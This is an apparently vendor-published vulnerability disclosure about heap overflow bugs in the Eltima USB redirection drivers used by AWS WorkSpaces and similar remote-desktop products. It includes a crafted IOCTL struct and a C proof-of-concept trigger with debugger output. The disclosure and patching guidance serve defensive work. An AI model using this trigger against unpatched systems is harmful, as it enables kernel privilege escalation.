Throughout 2020-2021, organizations worldwide needed to adopt new work models, including work from home (WFH), in response to the COVID-19 pandemic. This required organizations to make use of various solutions that allow WFH employees to securely access their organization’s assets and resources. As a result, the market for WFH solutions has seen tremendous growth, but security has not necessarily evolved accordingly.
In this post, we disclose details of multiple vulnerabilities we discovered in major cloud services including:
It is important to note that:
While these vulnerabilities affect multiple products, the technical details below will mainly focus on AWS WorkSpaces as an example. This is where our research began, and the flaws are essentially the same across all mentioned products.
Amazon WorkSpaces is a fully managed and persistent desktop virtualization service that enables users to access data, applications, and resources they need anywhere from any supported device. WorkSpaces supports provisioning Windows or Linux desktops and can be quickly scaled to provide thousands of desktops to workers across the globe.
WorkSpaces increases security by keeping data off the end user’s device and increasing reliability with the power of the AWS Cloud, an increasingly valuable service for the growing remote workforce.
As shown above, authentication and session orchestration is done over HTTPS, while the data stream is either PCoIP (PC Over IP) or WSP (WorkSpaces Streaming Protocol), a proprietary protocol.
The main difference between them is that on Amazon WorkSpaces, only WSP supports device redirection such as smart cards and webcams. This is where the vulnerabilities reside.
The WSP protocol consists of several libraries, some of which are provided by 3rd parties. One of these is the Eltima SDK. Eltima develops a product called “USB Over Ethernet”, which enables remote USB redirection.
The same product, with some modifications, is used by Amazon WorkSpaces to enable its users to redirect USB devices to their remote desktop, allowing them to connect devices such as USB webcams to Zoom calls directly from the remote desktop.
The program is bundled with the “client” (connect to other shared devices) and the “server” (share a device over the internet):
The drivers responsible for USB redirection are wspvuhub.sys
and wspusbfilter.sys
, both of which are vulnerable and seem to have been in use since the beginning of 2020, when WSP protocol was announced.
Before going through the vulnerabilities, it’s important to understand how the Windows Kernel IO Manager (IOMgr) works. When a user-mode thread sends an IRP_MJ_DEVICE_CONTROL packet, it passes input and output data between the user-mode and kernel-mode, depending on the I/O Control (IOCTL) code invoked. As per Microsoft’s documentation, “an I/O control code is a 32-bit value that consists of several fields”, as illustrated in the following figure:
For the purposes of this post, we will focus on the two least significant bits, TransferType
. The documentation tells us that these bits indicate how the system will pass data between the caller of NtDeviceIoControlFile
syscall and the driver that handles the IRP.
There are three ways to exchange data between kernel mode and user mode using an IRP:
The vulnerable IOCTL handlers, which contain several vulnerabilities and are the same across all vulnerable products, are 0x22005B and 0x22001B.
This means that the IOCTL handler is responsible for validating, probing, locking, and mapping the buffer itself depending on the use case.
This opens up many possibilities to exploit the device, such as double fetches, and arbitrary pointer dereference, which can lead to other vulnerabilities as well. In the image below, it can be seen that buffer verification does not exist at all in this code:
Here’s a brief explanation of this code:
alloc_size_64bit
or alloc_size_32bit
based on the first check’s results (blue arrow) .ExAllocatePoolWithTag_wrapper
with user controlled size parameter (pink arrow).memmove
(yellow arrow) and 64 bit memmove
(green arrow). As can be seen in the image, at this stage there are cases of insecure arithmetic operations on user controlled data without any overflow checks when calculating the copy size, which can lead to integer overflows that might eventually lead to arbitrary code execution.Generally speaking, accessing (reading/writing) user-mode addresses requires probing. Dealing with Type3InputBuffer
also requires you to lock the pages to the memory and only fetch data once.
The easiest way to cause an overflow in this code is by passing different parameters for the allocation and copy functions. This can be done by crafting a special IRP:
struct struct_usercontrolled { int gap1; int firstObject_handle; int secondObject_handle; int thirdObject_handle; int alloc_size_32bit; unsigned int gap2; unsigned int copy_size_32bit; unsigned int alloc_size_64bit; unsigned int gap3; unsigned int copy_size_64bit; }
Where either copy_size_64bit
or copy_size_32bit
are greater than alloc_size_32bit
or alloc_size_64bit.
Even if the copy size and allocation size were the exact same parameter, the code is still exploitable due to the fact that there are insecure arithmetic operations when calculating the memmove
size parameter.
In a simplified version, to trigger this vulnerability, an attacker may send the following IOCTL (assuming running a 64bit process):
uc.alloc_size_64bit = 0x20; uc.copy_size_64bit = 0x100; memset(&ol, 0, sizeof(ol)); // _OVERLAPPED HANDLE EventW = CreateEventW(NULL, TRUE, FALSE, NULL); ol.hEvent = EventW; if (!DeviceIoControl(file_device_handle, 0x22001B, &uc, size, &OutBuffer, 8u, &NumberOfBytesTransferred, &ol) && (GetLastError() != ERROR_IO_PENDING || !GetOverlappedResult(file_device_handle, &ol, &NumberOfBytesTransferred, 1))) { exit(printf("IOCTL 0x22001B\r\n")); }
This code will result in allocation of 0x20 bytes:
3: kd> r rax=0000000000000000 rbx=ffff92889d98ad40 rcx=0000000000000001 rdx=0000000000000020 rsi=ffff92889d98a000 rdi=000000603e8ff5c8 rip=fffff80627175366 rsp=ffffde0f29eed6e0 rbp=0000000000000000 r8=0000000000004c50 r9=fffff806271761e0 r10=fffff80627170ca0 r11=0000000000000000 r12=ffff92889962bc40 r13=0000000000000000 r14=0000000000000020 r15=ffff92889949eb38 iopl=0 nv up ei pl zr na po nc cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246 wspvuhub+0x15366: fffff806`27175366 e899c6ffff call wspvuhub+0x11a04 (fffff806`27171a04)
and copying of 0x435 bytes:
3: kd> r rax=ffffad0e69959eb0 rbx=ffff92889d98ad40 rcx=ffffad0e69959eb0 rdx=000000603e8ff5c8 rsi=ffffad0e69959eb0 rdi=000000603e8ff5c8 rip=fffff80627175420 rsp=ffffde0f29eed6e0 rbp=0000000000000000 r8=0000000000000435 r9=00000000000001b0 r10=0000000000004c50 r11=0000000000001001 r12=ffff92889962bc40 r13=0000000000000000 r14=0000000000000020 r15=ffff92889949eb38 iopl=0 nv up ei pl zr na po nc cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246 wspvuhub+0x15420: fffff806`27175420 e85b090000 call wspvuhub+0x15d80 (fffff806`27175d80)
Since we control both the data and the size this makes a very strong primitive to achieve code execution in kernel mode.
Using the DeviceTree tool from OSR, we can see that this driver accepts IOCTLs without ACL enforcements (note: Some drivers handle access to devices independently in IRP_MJ_CREATE routines):
This means the vulnerability can be triggered from sandboxes and might be exploitable in contexts other than just local privilege escalation. For example, it might be used as a second stage browser attack (although most modern browsers have a list of allowed IOCTLs requests) or other sandboxes for that matter.
We responsibly disclosed our findings to product vendors. We are aware of the following vendor responses:
Accops has released an advisory page here.
NoMachine has released an advisory page here.
On AWS (Amazon Workspaces), a manual update needs to be performed if you either have:
In order to check your maintenance settings:
Make sure to update the client application.
While we have no evidence of in-the-wild exploitation of these vulnerabilities, we further recommend revoking any privileged credentials deployed to the platform before the cloud platforms have been patched and checking access logs for irregularities.
Vulnerabilities in third-party code have the potential to put huge numbers of products, systems, and ultimately, end users at risk, as we’ve noted before. The outsized effect of vulnerable dependency code is magnified even further when it appears in services offered by cloud providers. We urge all organizations relying on the affected services to review the recommendations above and take appropriate action.
As part of the commitment of SentinelLabs to advancing public cloud security, we actively invest in public cloud research, including advanced threat modeling and vulnerability testing of cloud platforms and related technologies. For maximum protection, we strongly recommend using SentinelOne Singularity platform.
We would like to thank those vendors that responded to our disclosure and for remediating the vulnerabilities quickly.
Amazon
Eltima
Accops
Mechdyne
Amzetta
NoMachine